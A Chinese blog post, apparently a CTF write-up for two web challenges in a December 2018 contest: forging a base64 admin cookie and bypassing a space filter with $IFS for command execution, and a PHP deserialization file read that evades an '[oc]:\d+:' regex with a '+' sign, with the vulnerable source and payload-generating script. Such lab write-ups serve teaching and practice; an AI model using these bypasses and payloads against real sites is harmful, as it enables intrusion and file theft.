美文网首页CTF
安恒杯12月WEB-writeup

安恒杯12月WEB-writeup

作者: Imtinmin | 来源:发表于2018-12-24 17:50 被阅读3次

ezweb2

扫描目录,发现admin.php,提示不是admin发现cookie有dXNlag%3D%3D的字样,先url解码dXNlag==,猜测base64

image
改成adminbase64编码后进入admin.php image ,随便输入,抓包发现变量名为cmd,猜测RCE image 于是试了个ls /又提示error,经过测试发现过滤了空格,可以用$IFS绕过。 image 读取 image

easy

给了源码

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?> 

可以通过反序列化进行任意文件读取

<?php
class baby 
{   
    public $file = 'flag.php';
    function __toString()

    {          
        $this->file;    
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";
            print_r($filename);        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}

$baby = new baby();
$a = serialize($baby);
echo $a;

但是正则preg_match('/[oc]:\d+:/i',$data,$matches);waf掉了[oc]:数字。在四前面加%2B就可以了,也就是+

image

相关文章

  • 安恒杯12月WEB-writeup

    ezweb2 扫描目录,发现admin.php,提示不是admin发现cookie有dXNlag%3D%3D的字样...

  • 2018 安恒杯 over

    这个为题太烧脑了,leave-ret对rbp/rsp各种操作,被exp代码两行数据烧了一周多。 先上vul代码:8...

  • 安恒杯2018-pwn-over

    frame faking 正如这个技巧名字所说的那样,这个技巧就是构造一个虚假的栈帧来控制程序的执行流。 原理 概...

  • 安恒杯8月赛题wp

    web狗,然后这web服务器有点坑,web题没怎么做,只好去做流量分析。感觉这次的流量分析题目很不错,非常适合我这...

  • 安恒杯9月月赛

    misc及密码原文件提取码: 2ye3 web 由于环境缺失,这里简单提一下100分的那个,构造?code=?><...

  • 安恒杯九月赛_NewDriver

    今天的比赛因为有事,下午快结束才开始看只弄了一个简单的逆向其他的以后复现 NewDriver 找到main函数,F...

  • 安恒杯2018-1月赛

    密码题: haHpY CryPToLOgyU2FsdGVkX1/fmI/xr1giBPoly8xFT25tNKne...

  • 新政对恒大申花影响显而易见 超级杯为诸强提醒

    安博电竞2月27日讯,昨晚在上海,上赛季中超冠军广州恒大与足协杯冠军上海申花为争夺超级杯桂冠一决高下。因为联赛新政...

  • python_crackme(2019安恒杯1月月赛)

    (拿安恒杯1月月赛的题目she来讲)首先,你会拿到一个由python编译的exe文件,使用pyinstxtract...

  • 安恒杯12月月赛 (pwn)

    题目链接 messageb0x 教科书般的32位栈溢出(不懂得可以看一步一步学rop 32位),首先rop利用pu...

网友评论

    本文标题:安恒杯12月WEB-writeup

    本文链接:https://www.haomeiwen.com/subject/yfnzkqtx.html